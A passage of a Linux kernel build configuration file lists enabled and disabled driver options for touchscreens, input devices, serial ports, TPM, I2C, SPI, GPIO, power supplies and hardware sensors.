# CONFIG_TOUCHSCREEN_AD7877 is not set
# CONFIG_TOUCHSCREEN_AD7879 is not set
# CONFIG_TOUCHSCREEN_ADC is not set
# CONFIG_TOUCHSCREEN_AR1021_I2C is not set
# CONFIG_TOUCHSCREEN_ATMEL_MXT is not set
# CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set
# CONFIG_TOUCHSCREEN_BU21013 is not set
# CONFIG_TOUCHSCREEN_BU21029 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8318 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8505 is not set
# CONFIG_TOUCHSCREEN_CY8CTMA140 is not set
# CONFIG_TOUCHSCREEN_CY8CTMG110 is not set
# CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set
# CONFIG_TOUCHSCREEN_CYTTSP5 is not set
# CONFIG_TOUCHSCREEN_DYNAPRO is not set
# CONFIG_TOUCHSCREEN_HAMPSHIRE is not set
# CONFIG_TOUCHSCREEN_EETI is not set
# CONFIG_TOUCHSCREEN_EGALAX is not set
# CONFIG_TOUCHSCREEN_EGALAX_SERIAL is not set
# CONFIG_TOUCHSCREEN_EXC3000 is not set
# CONFIG_TOUCHSCREEN_FUJITSU is not set
# CONFIG_TOUCHSCREEN_GOODIX is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_I2C is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_SPI is not set
# CONFIG_TOUCHSCREEN_HIDEEP is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX852X is not set
# CONFIG_TOUCHSCREEN_HYCON_HY46XX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CSTXXX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CST816X is not set
# CONFIG_TOUCHSCREEN_ILI210X is not set
# CONFIG_TOUCHSCREEN_ILITEK is not set
# CONFIG_TOUCHSCREEN_S6SY761 is not set
# CONFIG_TOUCHSCREEN_GUNZE is not set
# CONFIG_TOUCHSCREEN_EKTF2127 is not set
# CONFIG_TOUCHSCREEN_ELAN is not set
# CONFIG_TOUCHSCREEN_ELO is not set
# CONFIG_TOUCHSCREEN_WACOM_W8001 is not set
# CONFIG_TOUCHSCREEN_WACOM_I2C is not set
# CONFIG_TOUCHSCREEN_WACOM_W9000 is not set
# CONFIG_TOUCHSCREEN_MAX11801 is not set
# CONFIG_TOUCHSCREEN_MMS114 is not set
# CONFIG_TOUCHSCREEN_MELFAS_MIP4 is not set
# CONFIG_TOUCHSCREEN_MSG2638 is not set
# CONFIG_TOUCHSCREEN_MTOUCH is not set
# CONFIG_TOUCHSCREEN_NOVATEK_NVT_TS is not set
# CONFIG_TOUCHSCREEN_IMAGIS is not set
# CONFIG_TOUCHSCREEN_IMX6UL_TSC is not set
# CONFIG_TOUCHSCREEN_INEXIO is not set
# CONFIG_TOUCHSCREEN_PENMOUNT is not set
# CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set
# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set
# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
# CONFIG_TOUCHSCREEN_PIXCIR is not set
# CONFIG_TOUCHSCREEN_WDT87XX_I2C is not set
CONFIG_TOUCHSCREEN_USB_COMPOSITE=y
CONFIG_TOUCHSCREEN_USB_EGALAX=y
CONFIG_TOUCHSCREEN_USB_PANJIT=y
CONFIG_TOUCHSCREEN_USB_3M=y
CONFIG_TOUCHSCREEN_USB_ITM=y
CONFIG_TOUCHSCREEN_USB_ETURBO=y
CONFIG_TOUCHSCREEN_USB_GUNZE=y
CONFIG_TOUCHSCREEN_USB_DMC_TSC10=y
CONFIG_TOUCHSCREEN_USB_IRTOUCH=y
CONFIG_TOUCHSCREEN_USB_IDEALTEK=y
CONFIG_TOUCHSCREEN_USB_GENERAL_TOUCH=y
CONFIG_TOUCHSCREEN_USB_GOTOP=y
CONFIG_TOUCHSCREEN_USB_JASTEC=y
CONFIG_TOUCHSCREEN_USB_ELO=y
CONFIG_TOUCHSCREEN_USB_E2I=y
CONFIG_TOUCHSCREEN_USB_ZYTRONIC=y
CONFIG_TOUCHSCREEN_USB_ETT_TC45USB=y
CONFIG_TOUCHSCREEN_USB_NEXIO=y
CONFIG_TOUCHSCREEN_USB_EASYTOUCH=y
# CONFIG_TOUCHSCREEN_TOUCHIT213 is not set
# CONFIG_TOUCHSCREEN_TSC_SERIO is not set
# CONFIG_TOUCHSCREEN_TSC2004 is not set
# CONFIG_TOUCHSCREEN_TSC2005 is not set
# CONFIG_TOUCHSCREEN_TSC2007 is not set
# CONFIG_TOUCHSCREEN_RM_TS is not set
# CONFIG_TOUCHSCREEN_SILEAD is not set
# CONFIG_TOUCHSCREEN_SIS_I2C is not set
# CONFIG_TOUCHSCREEN_ST1232 is not set
# CONFIG_TOUCHSCREEN_STMFTS is not set
CONFIG_TOUCHSCREEN_SUR40=y
# CONFIG_TOUCHSCREEN_SURFACE3_SPI is not set
# CONFIG_TOUCHSCREEN_SX8654 is not set
# CONFIG_TOUCHSCREEN_TPS6507X is not set
# CONFIG_TOUCHSCREEN_ZET6223 is not set
# CONFIG_TOUCHSCREEN_ZFORCE is not set
# CONFIG_TOUCHSCREEN_COLIBRI_VF50 is not set
# CONFIG_TOUCHSCREEN_ROHM_BU21023 is not set
# CONFIG_TOUCHSCREEN_IQS5XX is not set
# CONFIG_TOUCHSCREEN_IQS7211 is not set
# CONFIG_TOUCHSCREEN_ZINITIX is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX83112B is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_ATMEL_CAPTOUCH is not set
# CONFIG_INPUT_AW86927 is not set
# CONFIG_INPUT_BMA150 is not set
# CONFIG_INPUT_E3X0_BUTTON is not set
# CONFIG_INPUT_PCSPKR is not set
# CONFIG_INPUT_MMA8450 is not set
# CONFIG_INPUT_APANEL is not set
# CONFIG_INPUT_GPIO_BEEPER is not set
# CONFIG_INPUT_GPIO_DECODER is not set
# CONFIG_INPUT_GPIO_VIBRA is not set
# CONFIG_INPUT_ATLAS_BTNS is not set
CONFIG_INPUT_ATI_REMOTE2=y
CONFIG_INPUT_KEYSPAN_REMOTE=y
# CONFIG_INPUT_KXTJ9 is not set
CONFIG_INPUT_POWERMATE=y
CONFIG_INPUT_YEALINK=y
CONFIG_INPUT_CM109=y
# CONFIG_INPUT_REGULATOR_HAPTIC is not set
# CONFIG_INPUT_RETU_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_VIBRA is not set
CONFIG_INPUT_UINPUT=y
# CONFIG_INPUT_PCF8574 is not set
# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set
# CONFIG_INPUT_DA7280_HAPTICS is not set
# CONFIG_INPUT_ADXL34X is not set
# CONFIG_INPUT_IBM_PANEL is not set
CONFIG_INPUT_IMS_PCU=y
# CONFIG_INPUT_IQS269A is not set
# CONFIG_INPUT_IQS626A is not set
# CONFIG_INPUT_IQS7222 is not set
# CONFIG_INPUT_ISA1200_HAPTIC is not set
# CONFIG_INPUT_CMA3000 is not set
# CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set
# CONFIG_INPUT_AMD_SFH_TABLETMODE is not set
# CONFIG_INPUT_DRV260X_HAPTICS is not set
# CONFIG_INPUT_DRV2665_HAPTICS is not set
# CONFIG_INPUT_DRV2667_HAPTICS is not set
CONFIG_RMI4_CORE=y
# CONFIG_RMI4_I2C is not set
# CONFIG_RMI4_SPI is not set
# CONFIG_RMI4_SMB is not set
CONFIG_RMI4_F03=y
CONFIG_RMI4_F03_SERIO=y
CONFIG_RMI4_2D_SENSOR=y
CONFIG_RMI4_F11=y
CONFIG_RMI4_F12=y
# CONFIG_RMI4_F1A is not set
# CONFIG_RMI4_F21 is not set
CONFIG_RMI4_F30=y
# CONFIG_RMI4_F34 is not set
CONFIG_RMI4_F3A=y
# CONFIG_RMI4_F54 is not set
# CONFIG_RMI4_F55 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y
CONFIG_SERIO_I8042=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PARKBD is not set
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_SERIO_APBPS2 is not set
# CONFIG_SERIO_GPIO_PS2 is not set
CONFIG_USERIO=y
# CONFIG_GAMEPORT is not set
# end of Hardware I/O ports
# end of Input device support

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_VT_CONSOLE_SLEEP=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_LEGACY_TIOCSTI=y
CONFIG_LDISC_AUTOLOAD=y

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_PNP=y
# CONFIG_SERIAL_8250_16550A_VARIANTS is not set
# CONFIG_SERIAL_8250_FINTEK is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_DMA=y
CONFIG_SERIAL_8250_PCILIB=y
CONFIG_SERIAL_8250_PCI=y
# CONFIG_SERIAL_8250_EXAR is not set
CONFIG_SERIAL_8250_MOXA_PCIE=y
# CONFIG_SERIAL_8250_CS is not set
CONFIG_SERIAL_8250_NR_UARTS=32
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
CONFIG_SERIAL_8250_DETECT_IRQ=y
CONFIG_SERIAL_8250_RSA=y
CONFIG_SERIAL_8250_MANY_PORTS=y
# CONFIG_SERIAL_8250_PCI1XXXX is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
CONFIG_SERIAL_8250_LPSS=y
CONFIG_SERIAL_8250_MID=y
CONFIG_SERIAL_8250_PERICOM=y
# CONFIG_SERIAL_8250_NI is not set
# CONFIG_SERIAL_OF_PLATFORM is not set
CONFIG_SERIAL_8250_DWLIB=y

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MAX3100 is not set
# CONFIG_SERIAL_MAX310X is not set
# CONFIG_SERIAL_UARTLITE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SIFIVE is not set
# CONFIG_SERIAL_LANTIQ is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_SC16IS7XX is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_FSL_LINFLEXUART is not set
# CONFIG_SERIAL_CONEXANT_DIGICOLOR is not set
# CONFIG_SERIAL_SPRD is not set
# end of Serial drivers

CONFIG_SERIAL_MCTRL_GPIO=y
CONFIG_SERIAL_NONSTANDARD=y
# CONFIG_MOXA_INTELLIO is not set
# CONFIG_MOXA_SMARTIO is not set
CONFIG_N_HDLC=y
CONFIG_N_GSM=y
CONFIG_NOZOMI=y
CONFIG_NULL_TTY=y
CONFIG_HVC_DRIVER=y
CONFIG_SERIAL_DEV_BUS=y
CONFIG_SERIAL_DEV_CTRL_TTYPORT=y
CONFIG_TTY_PRINTK=y
CONFIG_TTY_PRINTK_LEVEL=6
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set
CONFIG_VIRTIO_CONSOLE=y
# CONFIG_IPMI_HANDLER is not set
# CONFIG_SSIF_IPMI_BMC is not set
# CONFIG_IPMB_DEVICE_INTERFACE is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_HW_RANDOM_INTEL is not set
# CONFIG_HW_RANDOM_AMD is not set
# CONFIG_HW_RANDOM_BA431 is not set
# CONFIG_HW_RANDOM_VIA is not set
CONFIG_HW_RANDOM_VIRTIO=y
# CONFIG_HW_RANDOM_CCTRNG is not set
# CONFIG_HW_RANDOM_XIPHERA is not set
# CONFIG_DEVMEM is not set
CONFIG_NVRAM=y
# CONFIG_DEVPORT is not set
CONFIG_HPET=y
CONFIG_HPET_MMAP=y
CONFIG_HPET_MMAP_DEFAULT=y
# CONFIG_HANGCHECK_TIMER is not set
CONFIG_TCG_TPM=y
# CONFIG_TCG_TPM2_HMAC is not set
# CONFIG_HW_RANDOM_TPM is not set
CONFIG_TCG_TIS_CORE=y
CONFIG_TCG_TIS=y
# CONFIG_TCG_TIS_SPI is not set
# CONFIG_TCG_TIS_I2C is not set
# CONFIG_TCG_TIS_I2C_CR50 is not set
# CONFIG_TCG_TIS_I2C_ATMEL is not set
# CONFIG_TCG_TIS_I2C_INFINEON is not set
# CONFIG_TCG_TIS_I2C_NUVOTON is not set
# CONFIG_TCG_NSC is not set
# CONFIG_TCG_ATMEL is not set
# CONFIG_TCG_INFINEON is not set
CONFIG_TCG_CRB=y
# CONFIG_TCG_VTPM_PROXY is not set
# CONFIG_TCG_TIS_ST33ZP24_I2C is not set
# CONFIG_TCG_TIS_ST33ZP24_SPI is not set
# CONFIG_TELCLOCK is not set
CONFIG_XILLYBUS_CLASS=y
# CONFIG_XILLYBUS is not set
CONFIG_XILLYUSB=y
# end of Character devices

#
# I2C support
#
CONFIG_I2C=y
CONFIG_ACPI_I2C_OPREGION=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_CHARDEV=y
CONFIG_I2C_MUX=y

#
# Multiplexer I2C Chip support
#
# CONFIG_I2C_ARB_GPIO_CHALLENGE is not set
# CONFIG_I2C_MUX_GPIO is not set
# CONFIG_I2C_MUX_GPMUX is not set
# CONFIG_I2C_MUX_LTC4306 is not set
# CONFIG_I2C_MUX_PCA9541 is not set
# CONFIG_I2C_MUX_PCA954x is not set
CONFIG_I2C_MUX_REG=y
# CONFIG_I2C_MUX_MLXCPLD is not set
# end of Multiplexer I2C Chip support

CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_SMBUS=y
CONFIG_I2C_ALGOBIT=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_AMD_MP2 is not set
CONFIG_I2C_I801=y
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_ISMT is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_CHT_WC is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_NVIDIA_GPU is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set
# CONFIG_I2C_ZHAOXIN is not set

#
# ACPI drivers
#
# CONFIG_I2C_SCMI is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_CBUS_GPIO is not set
CONFIG_I2C_DESIGNWARE_CORE=y
CONFIG_I2C_DESIGNWARE_PLATFORM=y
# CONFIG_I2C_DESIGNWARE_BAYTRAIL is not set
# CONFIG_I2C_DESIGNWARE_PCI is not set
# CONFIG_I2C_EMEV2 is not set
# CONFIG_I2C_GPIO is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_RK3X is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
CONFIG_I2C_DIOLAN_U2C=y
CONFIG_I2C_DLN2=y
CONFIG_I2C_LJCA=y
CONFIG_I2C_CP2615=y
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PCI1XXXX is not set
CONFIG_I2C_ROBOTFUZZ_OSIF=y
# CONFIG_I2C_TAOS_EVM is not set
CONFIG_I2C_TINY_USB=y
CONFIG_I2C_VIPERBOARD=y

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_MLXCPLD is not set
# CONFIG_I2C_VIRTIO is not set
# end of I2C Hardware Bus support

# CONFIG_I2C_STUB is not set
CONFIG_I2C_SLAVE=y
CONFIG_I2C_SLAVE_EEPROM=y
# CONFIG_I2C_SLAVE_TESTUNIT is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# end of I2C support

# CONFIG_I3C is not set
CONFIG_I3C_OR_I2C=y
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y
# CONFIG_SPI_MEM is not set

#
# SPI Master Controller Drivers
#
# CONFIG_SPI_ALTERA is not set
# CONFIG_SPI_AXI_SPI_ENGINE is not set
# CONFIG_SPI_BITBANG is not set
# CONFIG_SPI_BUTTERFLY is not set
# CONFIG_SPI_CADENCE is not set
# CONFIG_SPI_CADENCE_QUADSPI is not set
# CONFIG_SPI_CH341 is not set
# CONFIG_SPI_DESIGNWARE is not set
CONFIG_SPI_DLN2=y
# CONFIG_SPI_GPIO is not set
# CONFIG_SPI_LM70_LLP is not set
# CONFIG_SPI_FSL_SPI is not set
CONFIG_SPI_LJCA=y
# CONFIG_SPI_MICROCHIP_CORE_QSPI is not set
# CONFIG_SPI_MICROCHIP_CORE_SPI is not set
# CONFIG_SPI_LANTIQ_SSC is not set
# CONFIG_SPI_OC_TINY is not set
# CONFIG_SPI_PCI1XXXX is not set
# CONFIG_SPI_PXA2XX is not set
# CONFIG_SPI_SC18IS602 is not set
# CONFIG_SPI_SIFIVE is not set
# CONFIG_SPI_MXIC is not set
# CONFIG_SPI_VIRTIO is not set
# CONFIG_SPI_XCOMM is not set
# CONFIG_SPI_XILINX is not set

#
# SPI Multiplexer support
#
# CONFIG_SPI_MUX is not set

#
# SPI Protocol Masters
#
# CONFIG_SPI_SPIDEV is not set
# CONFIG_SPI_LOOPBACK_TEST is not set
# CONFIG_SPI_TLE62X0 is not set
# CONFIG_SPI_SLAVE is not set
CONFIG_SPI_DYNAMIC=y
# CONFIG_SPMI is not set
# CONFIG_HSI is not set
CONFIG_PPS=y
# CONFIG_PPS_DEBUG is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_PARPORT is not set
# CONFIG_PPS_CLIENT_GPIO is not set
# CONFIG_PPS_GENERATOR is not set

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=y
CONFIG_PTP_1588_CLOCK_OPTIONAL=y

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
CONFIG_PTP_1588_CLOCK_KVM=y
CONFIG_PTP_1588_CLOCK_VMCLOCK=y
# CONFIG_PTP_1588_CLOCK_IDT82P33 is not set
# CONFIG_PTP_1588_CLOCK_IDTCM is not set
# CONFIG_PTP_1588_CLOCK_FC3W is not set
# CONFIG_PTP_1588_CLOCK_MOCK is not set
# CONFIG_PTP_1588_CLOCK_VMW is not set
# CONFIG_PTP_1588_CLOCK_OCP is not set
# CONFIG_PTP_NETC_V4_TIMER is not set
# end of PTP clock support

#
# DPLL device support
#
# CONFIG_ZL3073X_I2C is not set
# CONFIG_ZL3073X_SPI is not set
# end of DPLL device support

# CONFIG_PINCTRL is not set
CONFIG_GPIOLIB_LEGACY=y
CONFIG_GPIOLIB=y
CONFIG_GPIOLIB_FASTPATH_LIMIT=512
CONFIG_OF_GPIO=y
CONFIG_GPIO_ACPI=y
CONFIG_GPIOLIB_IRQCHIP=y
# CONFIG_DEBUG_GPIO is not set
# CONFIG_GPIO_SYSFS is not set
# CONFIG_GPIO_CDEV is not set

#
# Memory mapped GPIO drivers
#
# CONFIG_GPIO_74XX_MMIO is not set
# CONFIG_GPIO_ALTERA is not set
# CONFIG_GPIO_AMDPT is not set
# CONFIG_GPIO_BY_PINCTRL is not set
# CONFIG_GPIO_CADENCE is not set
# CONFIG_GPIO_DWAPB is not set
# CONFIG_GPIO_FTGPIO010 is not set
# CONFIG_GPIO_GENERIC_PLATFORM is not set
# CONFIG_GPIO_GRANITERAPIDS is not set
# CONFIG_GPIO_GRGPIO is not set
# CONFIG_GPIO_HLWD is not set
# CONFIG_GPIO_ICH is not set
# CONFIG_GPIO_LOGICVC is not set
# CONFIG_GPIO_MB86S7X is not set
# CONFIG_GPIO_POLARFIRE_SOC is not set
# CONFIG_GPIO_SIFIVE is not set
# CONFIG_GPIO_SYSCON is not set
# CONFIG_GPIO_WAVESHARE_DSI_TOUCH is not set
# CONFIG_GPIO_XILINX is not set
# CONFIG_GPIO_AMD_FCH is not set
# end of Memory mapped GPIO drivers

#
# Port-mapped I/O GPIO drivers
#
# CONFIG_GPIO_VX855 is not set
# CONFIG_GPIO_F7188X is not set
# CONFIG_GPIO_IT87 is not set
# CONFIG_GPIO_NOVALAKE is not set
# CONFIG_GPIO_SCH311X is not set
# CONFIG_GPIO_WINBOND is not set
# CONFIG_GPIO_WS16C48 is not set
# end of Port-mapped I/O GPIO drivers

#
# I2C GPIO expanders
#
# CONFIG_GPIO_ADNP is not set
# CONFIG_GPIO_FXL6408 is not set
# CONFIG_GPIO_DS4520 is not set
# CONFIG_GPIO_GW_PLD is not set
# CONFIG_GPIO_MAX7300 is not set
# CONFIG_GPIO_MAX732X is not set
# CONFIG_GPIO_PCA953X is not set
# CONFIG_GPIO_PCA9570 is not set
# CONFIG_GPIO_PCF857X is not set
# CONFIG_GPIO_TPIC2810 is not set
# end of I2C GPIO expanders

#
# MFD GPIO expanders
#
CONFIG_GPIO_DLN2=y
CONFIG_GPIO_LJCA=y
# CONFIG_GPIO_TWL4030 is not set
# CONFIG_GPIO_WHISKEY_COVE is not set
# end of MFD GPIO expanders

#
# Auxiliary Bus GPIO drivers
#
# end of Auxiliary Bus GPIO drivers

#
# PCI GPIO expanders
#
# CONFIG_GPIO_AMD8111 is not set
# CONFIG_GPIO_BT8XX is not set
# CONFIG_GPIO_ML_IOH is not set
# CONFIG_GPIO_PCI_IDIO_16 is not set
# CONFIG_GPIO_PCIE_IDIO_24 is not set
# CONFIG_GPIO_RDC321X is not set
# CONFIG_GPIO_SODAVILLE is not set
# end of PCI GPIO expanders

#
# SPI GPIO expanders
#
# CONFIG_GPIO_74X164 is not set
# CONFIG_GPIO_MAX3191X is not set
# CONFIG_GPIO_MAX7301 is not set
# CONFIG_GPIO_MC33880 is not set
# CONFIG_GPIO_PISOSR is not set
# CONFIG_GPIO_XRA1403 is not set
# end of SPI GPIO expanders

#
# USB GPIO expanders
#
CONFIG_GPIO_VIPERBOARD=y
# CONFIG_GPIO_MPSSE is not set
# end of USB GPIO expanders

#
# Virtual GPIO drivers
#
# CONFIG_GPIO_AGGREGATOR is not set
# CONFIG_GPIO_LATCH is not set
# CONFIG_GPIO_LINE_MUX is not set
# CONFIG_GPIO_MOCKUP is not set
# CONFIG_GPIO_VIRTIO is not set
# CONFIG_GPIO_SIM is not set
# end of Virtual GPIO drivers

#
# GPIO Debugging utilities
#
# CONFIG_GPIO_SLOPPY_LOGIC_ANALYZER is not set
# CONFIG_GPIO_VIRTUSER is not set
# end of GPIO Debugging utilities

# CONFIG_W1 is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_SEQUENCING is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
CONFIG_POWER_SUPPLY_HWMON=y
# CONFIG_GENERIC_ADC_BATTERY is not set
# CONFIG_IP5XXX_POWER is not set
# CONFIG_TEST_POWER is not set
# CONFIG_CHARGER_ADP5061 is not set
# CONFIG_BATTERY_CHAGALL is not set
# CONFIG_BATTERY_CW2015 is not set
# CONFIG_BATTERY_DS2780 is not set
# CONFIG_BATTERY_DS2781 is not set
# CONFIG_BATTERY_DS2782 is not set
# CONFIG_BATTERY_SAMSUNG_SDI is not set
# CONFIG_BATTERY_S2MU005 is not set
# CONFIG_BATTERY_SBS is not set
# CONFIG_CHARGER_SBS is not set
# CONFIG_MANAGER_SBS is not set
# CONFIG_BATTERY_BQ27XXX is not set
# CONFIG_BATTERY_MAX17040 is not set
# CONFIG_BATTERY_MAX17042 is not set
# CONFIG_BATTERY_MAX1720X is not set
CONFIG_CHARGER_ISP1704=y
# CONFIG_CHARGER_MAX8903 is not set
# CONFIG_CHARGER_TWL4030 is not set
# CONFIG_CHARGER_TWL6030 is not set
# CONFIG_CHARGER_LP8727 is not set
# CONFIG_CHARGER_GPIO is not set
# CONFIG_CHARGER_MANAGER is not set
# CONFIG_CHARGER_LT3651 is not set
# CONFIG_CHARGER_LTC4162L is not set
# CONFIG_CHARGER_DETECTOR_MAX14656 is not set
# CONFIG_CHARGER_MAX77976 is not set
# CONFIG_CHARGER_MAX8971 is not set
# CONFIG_CHARGER_MT6360 is not set
# CONFIG_CHARGER_MT6370 is not set
# CONFIG_CHARGER_BQ2415X is not set
CONFIG_CHARGER_BQ24190=y
# CONFIG_CHARGER_BQ24257 is not set
# CONFIG_CHARGER_BQ24735 is not set
# CONFIG_CHARGER_BQ2515X is not set
# CONFIG_CHARGER_BQ25890 is not set
# CONFIG_CHARGER_BQ25980 is not set
# CONFIG_CHARGER_BQ25630 is not set
# CONFIG_CHARGER_BQ256XX is not set
# CONFIG_CHARGER_SGM41542 is not set
# CONFIG_CHARGER_SMB347 is not set
# CONFIG_BATTERY_GAUGE_LTC2941 is not set
# CONFIG_BATTERY_GOLDFISH is not set
# CONFIG_BATTERY_RT5033 is not set
# CONFIG_CHARGER_RT9455 is not set
# CONFIG_CHARGER_RT9467 is not set
# CONFIG_CHARGER_RT9471 is not set
# CONFIG_CHARGER_RT9756 is not set
# CONFIG_FUEL_GAUGE_STC3117 is not set
# CONFIG_CHARGER_UCS1002 is not set
# CONFIG_CHARGER_BD99954 is not set
# CONFIG_BATTERY_SURFACE is not set
# CONFIG_CHARGER_SURFACE is not set
# CONFIG_BATTERY_UG3105 is not set
# CONFIG_BATTERY_CHARGER_SURFACE_RT is not set
# CONFIG_FUEL_GAUGE_MM8013 is not set
CONFIG_HWMON=y
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ABITUGURU is not set
# CONFIG_SENSORS_ABITUGURU3 is not set
# CONFIG_SENSORS_AD7314 is not set
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM1177 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7310 is not set
# CONFIG_SENSORS_ADT7410 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_AHT10 is not set
CONFIG_SENSORS_AQUACOMPUTER_D5NEXT=y
# CONFIG_SENSORS_AS370 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ASUS_ROG_RYUJIN is not set
# CONFIG_SENSORS_AXI_FAN_CONTROL is not set
# CONFIG_SENSORS_K8TEMP is not set
# CONFIG_SENSORS_K10TEMP is not set
# CONFIG_SENSORS_KB9002 is not set
# CONFIG_SENSORS_FAM15H_POWER is not set
# CONFIG_SENSORS_APPLESMC is not set
# CONFIG_SENSORS_ARCTIC_FAN_CONTROLLER is not set
# CONFIG_SENSORS_ASB100 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_CHIPCAP2 is not set
CONFIG_SENSORS_CORSAIR_CPRO=y
CONFIG_SENSORS_CORSAIR_PSU=y
# CONFIG_SENSORS_DRIVETEMP is not set
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_DELL_SMM is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_FSCHMD is not set
# CONFIG_SENSORS_FTSTEUTATES is not set
CONFIG_SENSORS_GIGABYTE_WATERFORCE=y
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_GPD is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_G762 is not set
# CONFIG_SENSORS_GPIO_FAN is not set
# CONFIG_SENSORS_HIH6130 is not set
# CONFIG_SENSORS_HS3001 is not set
# CONFIG_SENSORS_HTU31 is not set
# CONFIG_SENSORS_IIO_HWMON is not set
# CONFIG_SENSORS_I5500 is not set
# CONFIG_SENSORS_CORETEMP is not set
# CONFIG_SENSORS_ISL28022 is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
